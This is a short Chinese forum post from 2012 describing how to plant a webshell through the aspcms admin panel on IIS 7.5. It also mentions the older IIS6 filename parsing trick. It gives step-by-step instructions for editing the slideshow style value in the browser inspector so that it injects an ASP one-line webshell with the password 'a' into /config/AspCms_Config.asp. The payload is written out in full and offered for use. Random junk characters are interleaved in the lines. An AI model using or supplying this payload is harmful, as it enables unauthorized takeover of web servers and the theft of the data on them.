aspcms在老版本中可以通过添加模板直接添加asp.但是新版的aspcms中已经限制了添加模板的格式为html,js,css,当然如果是遇到iis6的话还是可以通过iis6的解析漏洞把文件名改成1.asp;.html这样的格式来拿到shell的.可是如果遇到iis7.5呢?以下是本人自己找到挖掘到的aspcms通杀版本的后台拿shell方法.' k4 L8 u. x, R5 | S
1、进入后台，“扩展功能”--“幻灯片设置”--”幻灯样式”- T0 w7 R/ n7 J% r" C! t1 |+ t9 j5 b3 f
$ r7 Y# \6 o9 N5 ]* }0 D" r
$ ? ]- r7 F9 m4 b; i0 m. y T3 } N! D
2、使用chorme的审查元素功能或者firefox的firebug，总之使用能修改当前页面元素的工具就好了。将对应的slidestyle的value的值修改为1%><%Eval(Request (chr(65)))%><%* p; d( N, t$ u( Z+ V# a% M
' V1 q) y) R5 ~1 o% k2 q, P w& t7 \- A
3、一句话木马，密码a。在/config/AspCms_Config.asp& B6 s3 g3 L6 q" ^0 q
" t* ~) m* z6 E3 [8 j" F0 v2 s
# t# ~) P) M9 C2 Q0 A |
发表于 2012-11-9 20:55:05
收藏
支持
反对